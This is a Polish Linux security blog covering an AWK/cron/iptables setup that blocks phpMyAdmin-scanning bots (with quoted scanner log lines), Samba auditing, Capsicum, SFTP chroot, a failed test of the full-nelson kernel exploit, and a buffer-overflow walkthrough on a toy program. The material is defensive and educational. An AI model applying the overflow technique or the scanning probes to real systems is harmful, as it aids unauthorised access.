60.174.109.133 - - [25/Feb/2012:01:33:02 +0100] "GET //phpmyadmin2/ HTTP/1.1" 404 183 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:33:03 +0100] "GET //PHPMYADMIN/ HTTP/1.1" 404 183 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:33:03 +0100] "GET //phpMyAdmin-2.8.1/ HTTP/1.1" 404 190 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:33:03 +0100] "GET //phpMyAdmin-2.8.1/ HTTP/1.1" 404 190 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:33:04 +0100] "GET //phpMyAdmin-2.8.0.2/ HTTP/1.1" 404 191 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:33:04 +0100] "GET //phpMyAdmin-2.8.0.2/ HTTP/1.1" 404 191 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro"

Problem z opisaniem takich logów do postaci zaimplementowanej w skrypcie ips_outline.py[1][2] polega na tym, że można tam podać maksymalnie trzy podciągi identyfikujące wpis do logu. W powyższych przykładach cechą wspólną jest zwracany kod serwera HTTP "404" oraz wystąpienia ciągów "php", "admin", "my" w adresie. Sprawa komplikuje się o tyle, że mogą te ciągi występować zarówno w małych, jak i dużych znakach np. "Admin" i "admin", a nawet "ADMIN". Poza tym wcale nie muszą występować razem np. "phpadmin", "MyAdmin", "Admin". Ciąg "404" występuje zawsze ale równie dobrze morze być częścią nazwy pliku, np. zdjęć z aparatu "DSC 04041". Trzeba więc szukać go w określonej kolumnie, a obecnie ips_outline.py nie potrafi wyszukiwać tak selektywnie. Skrypt można pobrać ze strony projektu[3].

Myśląc o selektywnym wyszukiwaniu danych w logach od razu na myśl przychodzi mi najlepsze narzędzie do tego stworzone, czyli AWK. W przyszłości mam zamiar zmodyfikować mój skrypt, tak aby potrafił współpracować z tym językiem, dlaczego? Najlepszą odpowiedzią na te pytanie będzie opis jak poradziłem sobie z tymi incydentami oraz jakie są minusy takiego rozwiązania.

Pierwszą rzeczą jaką musimy zrobić to napisanie kodu AWK, który ujednolici przedstawione logi do takiej postaci, aby ips_outline.py nie miał z nim problemów. Wystarczy nam jeden ciąg identyfikujący, adres IP do zablokowania i wyszukiwana ścieżka. W systemie Debian używany jest MAWK[4] ale nic nie stoki na przeszkodzie, aby czerpać z dokumentacji GAWK[5] zwłaszcza jeżeli przedstawione przykłady są dla Ciebie niezrozumiałe.

Zanim jednak napiszemy taki kod prosty przykład. Jeżeli mamy frazę "my"
echo my | awk '{if($0 ~ /my/) print "ok"}'
kod zadziała, ale dla "My", "MY" już nie, dlatego:
echo wmYs| awk '{if($0 ~ /[Mm][Yy]/) print "ok"}'
teraz jest ok.

Mój kod AWK, który wybiera złe adresy wygląda następująco:
awk '{if ( ($9 == "404") && (($7 ~ /[Aa][Dd][Mm][Ii][Nn]/)||($7 ~ /[Mm][Yy]/)||($7 ~ /[^.][Pp][Hh][Pp]/)) ) print "block "$1" "$7 }' /var/log/apache2/access.log
Wyniki (o ile istnieją w access.log) będą miały postać:
block 207.171.3.132 //admin/index.php

Sprawdzenie rekordu źródłowego:
grep "//admin/index.php" /var/log/apache2/access.log
207.171.3.132 - - [27/Feb/2012:01:03:39 +0100] "GET //admin/index.php HTTP/1.1" 404 185 "-" "-"
Twoje logi mogą mieć inny format!

Kod AWK wybiera linie/rekordy, które:
- w kolumnie 9 obowiązkowo mają wartość "404" (podciąg również będzie dopasowany!)
- w kolumnie 7 wystąpi podciąg "admin" lub "my" lub "php", niezależnie od wielkości znaków
- podciąg "php" nie może być poprzedzony kropką (wyłączenie błędów 404 z np. "index.php")
następnie drukuje "block", IP i ścieżkę.

Teraz sprawdzony kod AWK możemy wrzucić w skrypt i korzystając z możliwości pisania do /dev/ips wysyłać tam jego wyjście. Proponuje w katalogu domowym /root założyć skrypt webcheck.sh:
touch webcheck.sh
ls -l webcheck.sh
-rw------- 1 root root 0 02-25 17:57 webcheck.sh
chmod u+x webcheck.sh
vim webcheck.sh


Zawartość skryptu wyglądałaby następująco:
#!/bin/sh
awk '{if ( ($9 == "404") && (($7 ~ /[Aa][Dd][Mm][Ii][Nn]/)||($7 ~ /[Mm][Yy]/)||($7 ~ /[^.][Pp][Hh][Pp]/)) ) print "block "$1" "$7 }' /var/log/apache2/access.log >> /dev/ips


Ostatecznie dodajemy wpis do crona:
crontab -e

 * *   *   *   *    /root/webcheck.sh > /dev/null

Skrypt będzie uruchamiany co minutę i będzie wysyłał wyprodukowane wpisy przez AWK do /dev/ips, skąd pobierze je i przeanalizuje ips_outline.py. Czas więc powiedzieć dla ips_outline.py czego ma szukać. Do rule.ips dodajemy regułę:
web phpmyadmin;;block,NULL,NULL;;block, , ;;iptables -I INPUT 3 -s param -j DROP;1;2;00:01:00

Składnię reguł opisywałem w ostatnim wpisie o ips_outline.py.
Reguła:
- nazywa się "web phpmyadmin"
- szuka rekordów zawierających ciąg "block"
- pobiera z niej adres IP znajdujący się po ciągu "block" i między znakami spacji: " "[IP]" "
- wstawia regułę blokującą z użyciem adresu IP w miejscu "param" ("1" po regule)
- uaktywnia wstawienie reguły przy drugim wystąpieniu pasującego rekordu
- ustawia czas, w którym ma wystąpić (w tym przypadku dwukrotne) dopasowanie na jedną minutę.
Jeżeli chodzi o czas jednej minuty to jego znaczenie nie ma większego wpływu w tym przypadku, chyba że chcemy "łapać" logi między dwoma wywołaniami skryptu webcheck.sh. Wtedy należy ustawić go na 2 minuty. W przeciwnym razie ips_outline.py i tak otrzyma wszystkie logi w pierwszej sekundzie minuty, a kolejne w pierwszej sekundzie kolejnej minuty.

Pozostało już tylko zresetować skrypt:
echo stop >> /dev/ips
/root/ips_outline.py > /dev/null &


Skrypt działa poprawnie i zaczął blokować ale przyjrzyjmy się dokładnie jak wygląda blokowanie.
Dziś w nocy ok. godz. 1 miał miejsce atak, skrypt zablokował go i wysłał do mnie e-maila o treść:

IPS 2012.2.27 1:4:1 web phpmyadmin: iptables -I INPUT 3 -s 207.171.3.132 -j DROP n=2 ip=207.171.3.132 [timeline: 0:0:0 in time 00:01:00]
Jak widać timeline to 0:0:0, czyli wszystko dzieje się w jednej sekundzie z jego punktu widzenia. Dzieje się tak ponieważ dostaje logi raz na minutę. Właśnie, co minutę a co dzieje się podczas tej minuty?. Zobaczmy.


Jak widać wszystkie próby miały miejsce w ciągu niespełna minuty, więc skrypt jeszcze nie mógł zareagować bo czekał na logi od AWK uruchamianego co minutę.


Ostatni atak przed zablokowaniem miał miejsce o 01:03:53, ale do tej poty bot zdążył wykonać 78 prób. Następnie sprawdzam ile razy próbował po zablokowaniu, hy zabawne również 78. Można więc powiedzieć, że ta metoda działa ale w tym wypadku zapobiegła połowie prób ataku. 
Oczywiście i tak to jest bardzo dobry wynik, ponieważ załóżmy, że mechanizm ten zablokowałby tylko ostatnią próbę, albo nawet wcześniej bot odgadłby ścieżkę do phpMyAdmin, to ile zdążyłby zrobić w ciągu niespełna pozostałej minuty? Chyba niewiele.

Mimo wszystko ten przypadek zainspirował mnie do rozbudowania ips_outline.py o możliwość wyszukiwania ciągów za pomocą AWK, tak aby mógł blokować od razu nawet takie przypadki.

Oh, oczywiście, nie wiem czemu wspominam o tym na sam koniec ;) ale najlepszą ochronę dla phpMyAdmin jest używanie reguł Order Deny,Allow w konfiguracji apache, co zresztą praktykuje.

Monday, January 9, 2012

Samba - monitorowanie dostępu do plików

Gdy udostępniasz ważne dane przez dysk/udział sieciowy przydatnym może okazać się monitorowanie operacji wykonywanych na nich. Mówiąc krótko, chodzi o wyjaśnienie rzekomych okoliczności, w których pliki "zniknęły". Oczywiście odzyskasz je z kopii ale niesmak niewyjaśnionych okoliczność pozostanie. Dlatego zdecydowałem się na logowanie dostępu do zasobów sieciowych Samby.
Do tego celu należy użyć modułu vfs_full_audit. Przedstawię przykładową konfigurację, które loguje udane otwarcie, usunięcie oraz tworzenie katalogów. Operacji jest bardzo dużo, pełna lista dostępna w opisie modułu.
Wpis dla konkretnego udziału:
[...]
   ...

   vfs objects = full_audit recycle
   full_audit:prefix = %I|%m|%u
   full_audit:success = open unlink rmdir write rename
   full_audit:failure = none
   full_audit:facility = LOCAL7
   full_audit:priority = NOTICE

Moduł nie loguje operacji nie udanych, oczywiście można to zmienić. Dwie ostatnie opcji mówią z jakim priorytetem ma traktować serwer logów te wpisy. Działania na plikach zapisywane są w /var/log/syslog, przynajmniej w systemie Debian. Przykładowy wpis wygląda mniej więcej tak:
Jan  9 08:38:20 prv smbd[25400]: 192.168.1.2|admin-laptop|admin|open|ok|r|gdata/doc/plan0911/SP0911x13+.xlsx
Jan  9 08:38:20 prv smbd[25400]: 192.168.1.2|admin-laptop|admin|open|ok|w|gdata/doc/plan0911/SP0911x13+.xlsx
Jan  9 08:44:10 prv smbd[25400]: 192.168.1.2|admin-laptop|admin|unlink|ok|gdata/doc/plan0911/~$SP0911x13+.xlsx

Tu widzimy jakie operacje zostały wykonane na pliku, został otwarty i usunięto (unlink) plik tymczasowy, oczywiście został on wcześniej utworzony i to również zostało odnotowane. Z bardziej przydatnych operacji należałoby wymienić write (zapis), i rename (zmiana nazwy) na wypadek jakby zagubiony katalog po prostu uzyskał inną nazwę przez innego użytkownika.
W opcji full_audit:prefix wymieniłem jakie dane identyfikujące wykonawcę tych operacji chcę znać, pełną listę możliwych informacji można znaleźć w smb.conf (5) - sekcja "VARIABLE SUBSTITUTIONS"

Ponadto dla wpisu vfs objects oprócz wartości  full_audit wpisałem również recycle. Moduł recycle dodaje dodatkową funkcjonalność, dla każdego udziału, który go zawiera tworzy katalog .recycle i przenosi tam pliki usuwane. Dzięki temu możemy odzyskać pliki usunięte w ciągu tego samego dnia, których nie ma jeszcze w kopii przyrostowej.
Oczywiście należy pamiętać, że nie wszystkie udziały mogą być warte przechowywania usuniętych plików (kopie zapasowe również będą je zawierać i zajmować więcej miejsca) oraz logowania wszystkich zdarzeń. Mi na razie wystarczą te trze, czyli dostęp do pliku (otworzył, usuną) oraz tworzenie katalogów.

Tuesday, November 1, 2011

Capsicum - nowy sposób na izolację procesów

Capsicum, tak nazywa się nowe rozwiązanie opracowane w laboratorium Uniwersytetu Cambridge przy finansowym wsparciu firmy Google. Celem projektu jest kompleksowe rozwiązanie problem z bezpieczeństwem przeglądarki Chrome i systemu operacyjnego Chrome OS.
Capsicum to tzw. sandbox framework, który rozszerza POSIX API. Jego użycie wymaga zmiany kodu w aplikacjach. Poza tym jest to rozwiązanie na poziomie aplikacji, póki co, bo biblioteka dopiero się rozwija.
Na początek wprowadzono ją do nowego wydania FreeBSD 9.0, ale Google ma w planach przeportowanie go na system Linux.
W publikacjach na temat Capsicum (http://www.cl.cam.ac.uk/research/security/capsicum/papers/2010usenix-security-capsicum-website.pdf) wspomina się o tym, że użyta technika rozwiązuje wszystkie problemy w przeciwieństwie do swoich konkurentów, w tym do SELinux. Pojawia się pytanie, czy Capsicum wyprze SELinux?
Okazuje się, że nie koniecznie, pisze o tym Robert Watson, jedne z developerów Capsicum:
> How is Capsicum positioned, from user & admin perspective, when compared to 
> the MAC work on FreeBSD and SELinux on Linux? Is one the superset of 
> another, will one obsolete another?

This is a point addressed in some detail in the paper, which considers the 
relationship between Capsicum and other security models.  Capsicum is really 
addressed at the application author, whereas MAC models are typically 
addressed at a blend of system integrators and system administrators.  As a 
result, users mostly benefit from Capcisum transparently.
Ponadto jeden z deweloperów SELinux w swojej notatce poświęconej konkurencji ze strony Capsicum stwierdza, że z technicznego punku widzenia nie ma powodu, który nie pozwalałby na działanie obu tych technologi na tym samym systemie. To ważny fakt, ponieważ można się w sieci natknąć na takie informacje.
Rozwiązanie użyte w projekcie Capsicum jest o tyle prostsze, że nie wymaga administrowania w przeciwieństwie do SELinux, gdzie np. zmiana konfiguracji Apache może pociągnąć za sobą konieczność zmiany polityki SELinux, a ta wymaga już ponownego uruchomienia serwera.
Jednak z ogólnego punktu widzenia Capsicum wcale nie jest antidotum na wszystkie problemy związane z bezpieczeństwem. Capsicum nie można użyć do kontroli np. współpracy różnych części systemu.
Trzeba pamiętać, że jest to rozwiązanie problemu z bezpieczeństwem przeglądarki internetowej, które może mieć szersze zastosowanie, a nie odwrotnie. Zresztą jak Russell Coker zauważył, deweloperzy Capsicum ogłaszają, że stworzyli coś nowego ale nie zależy im na tym, aby to propagować.

Strona projektu: http://www.cl.cam.ac.uk/research/security/capsicum/

Sunday, July 24, 2011

Ochrona przed atakiem typu buffer overflow (Stack-Smashing Protector)

Jak działa metoda buffer overflow? Przyjrzyjmy się przykładowemu programowi.


Tak na marginesie to trzeba mieć talent, aby takie coś napisać. Musiałem przerobić mój przykład tak, aby atak się udał ponieważ pierwotnie nie było to możliwe.
Program działa prosto, oczekuje jako parametru hasła. Poprawnym hasłem jest "root". Autoryzacja powiedzie się tylko wtedy, gdy wpiszemy "$ ./bflow2 root". 
Cały błąd projekcyjny tego programu leży w tym, że do autoryzacji używamy w ogóle nie potrzebnej zmiennej auth. Jak by tego było małe, to jest jeszcze ona zadeklarowana przed buforem, który można przepełnić. Nie ma sprawdzania długość hasła wprowadzonego przez użytkownika.
Zanim przejdę do rzeczy wspomnę jeszcze, że najpierw skompiluję i przetestuje program na swoim systemie Debian Squeeze amd64, a później na CentOS 5. Wyniki będą różne. W systemie Debian od wersji Lenny wszystkie możliwe paczki są kompilowane z opcją ochrony stosu. Mechanizm ten stworzył IBM, to tak zwany stack-smashing protector. Dokumentacje GCC zawiera te opcje.
Do rzeczy. Najpierw uruchomimy program z parametrem, który zapełni cały bufor, następnie w debuggerze gdb sprawdzimy ile jeszcze bajtów zostało do nadpisania zmiennej auth.


Cyfrę "1" w kodzie hexadecymalnym reprezentuje liczba "31". Można to sobie sprawdzić wydając polecenie  'echo "1111111111"|hd'.
Jedynek jest 10, zapełniamy cały bufor. Podkreśliłem je na czerwono. Trzeba pamiętać, że w pamięci bajty są umieszczone w odwrotnej kolejności. Dlatego wartości "31" nie są ciągłe.
Na zielono podkreśliłem adres zmiennej auth na stosie oraz wynik działania programu.
Jeżeli słowa zawierające koniec tablicy buff i zmienną auth odwrócimy to zobaczymy ile jest między nimi bajtów:
0x00313131   0x00000000   0xffe32000
0x31313100   0x00000000   0x0020e3ff   odwrócone
Bajty stanowiące odstęp między końcem tablicy buff, a zmienną auth oznaczyłem kursywą. Natomiast samą zmienną auth pogrubiłem. Teraz nie ma już wątpliwości, należy dopisać jeszcze 6 jedynek ('1') aby nadpisać zmienną auth. (Znak '1' ani '0' nie reprezentują w pamięci liczb 1 i 0, zapisywane są odpowiednimi kodami ASCII)


Jak widać atak powiódł się. Program dotarł do końca, wypisując tekst 'end' i uzyskał dostęp. Mimo wszystko system wykrył ingerencję w stosie programu. Świadczy o tym komunikat "Segmentation fault.". Dzieje się tak ponieważ większość najważniejszych programów w systemie Debian są kompilowane, z ochroną stosu.
Po opuszczeniu debuggera wywołałem jeszcze trzy razy program. Pierwszy raz miał o jedną jedynkę za mało (15), druki 16, a trzeci raz o jedną za dużo (17). Wpisując szesnaście jedynek program sam się nie zakończył, ale kod wykonał do końca, o czym świadczy wypisanie testu 'end'.
Teraz skompilujemy program z opcją -fstack-protector.


Tym razem zamiast samych jedynek użyłem kolejnych liczb, teraz można zobaczyć jak powinno się czytać zrzut pamięci od tyłu. Jak widać kompilator odwrócił kolejność zmiennych na stosie i nie można teraz poprzez tablicę buff nadpisać zmiennej auth, ponieważ jest ona przed nią.
Nawet z opcją -fstack-protector da się nadpisac w taki sposób zmienne z funkcji main(). Aby temu zapobiec należy użyć opcji -fstack-protector-all.
Teraz przetestujemy ten sam kod na systemie CentOS 5.


Najpierw sprawdzamy jaki jest odstęp między zmiennymi. Łoł - nie ma żadnego. Wystarczy dodać tylko jeden znak, czyli zamiast jako parametr podać 10 znaków, należy podać 11 i gotowe.
Dodałem 'x', jak widać działa pięknie. Potem kompilujemy program z ochroną stosu i również działa jak powinno - przerwał program i nie pozwolił mu dalej pracować. Różnice w zachowaniach kompilatora na obu tych systemach wynikają z kompilacji z różnymi opcjami gcc i nie tylko.
W systemie Debian opcja ochrony stosu zapobiegła atakowi, a system w całości wykonała kod programu, w CentOS program został natychmiast przerwany.

Thursday, March 10, 2011

Logowanie działań przez SFTP

Jakiś czas temu pisałem o tym, jak przez SFTP zamknąć w klatce użytkownika. Teraz o dodatkowej funkcjonalności, którą jest logowanie tego co użytkownik pobiera itp.. Ponieważ czasami są to dane osobowe to lepiej monitorować ich zdalne pobieranie.

Wystarczy zmodyfikować linię:
Subsystem sftp internal-sftp -l VERBOSE

Tuesday, January 18, 2011

sftp w klatce

Udostępnianie katalogu dla użytkownika stwarza problemy w bezpieczeństwie. Zakładamy mu konto, podpinamy tam WWW i dajemy SSH i SFTP - przynajmniej ja tak robiłem. Aby użytkownik nie chodził mi po katalogach innych (nie miałem takich) i nie zaglądał do konfiguracji bardzo restrykcyjnie ustawiałem prawa do katalogów i plików. Nie da mu się wyłączyć powłoki, bo sftp przestanie działać.

Trzeba to naprawić i użyć klatki, czyli jail!

Cenna dokumentacja: sshd_config

W konfiguracji sshd ustawiamy:

Subsystem sftp internal-sftp


Match User admin
ChrootDirectory /home/jail/%u
Banner /etc/issue_my.net

W /home/jail/ tylko root może zapisywać, tworzymy w nim katalogi dla użytkowników, również tylko root może tam zapisywać - tak jak w katalogu głównym /. Baner może być indywidualny, jak w przykładanie dla dopasowania do użytkownika admin.

Dzięki internal-sftp możemy już zabrać dla użytkownika powłokę i wstawić /usr/sbin/nologin. W ten sposób sprawę z logowaniem przez ssh mamy załatwioną, a indywidualny baner go o tym poinformuje.

Aha, w katalogu użytkownika tworzymy np. katalog www i jego właścicielem robimy dopiero użytkownika, będzie mógł zapisywać w nim.

Dlatego nie używam serwera FTP.

Saturday, December 11, 2010

Linux kernel exploit - full-nelson.c

 Dan Rosenberg na liście Full-Disclosure opublikował kod exploita, który podobno potrafi zdobyć uprawnienia roota z lokalnego systemu. Przetestowałem jego kod na trzech systemach:

Debian Squeeze

na serwerze
Debian Lenny

i Fedorze 13
Fedora 13
Jak widać na żadnym się nie udało, mimo iż podatność dotyczy Linux Kernel <= 2.6.37, ale...



 *  * The particular symbols I resolve are not exported on Slackware or Debian
 *  * Red Hat does not support Econet by default
 *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
  *     *  Debian

 http://www.securityfocus.com/bid/45072

Przy okazji usłyszałem o pewnej opcji sysctl, która poprawia bezpieczeństwa:

modules_disabled:

A toggle value indicating if modules are allowed to be loaded
in an otherwise modular kernel.  This toggle defaults to off
(0), but can be set true (1).  Once true, modules can be
neither loaded nor unloaded, and the toggle cannot be set back
to false.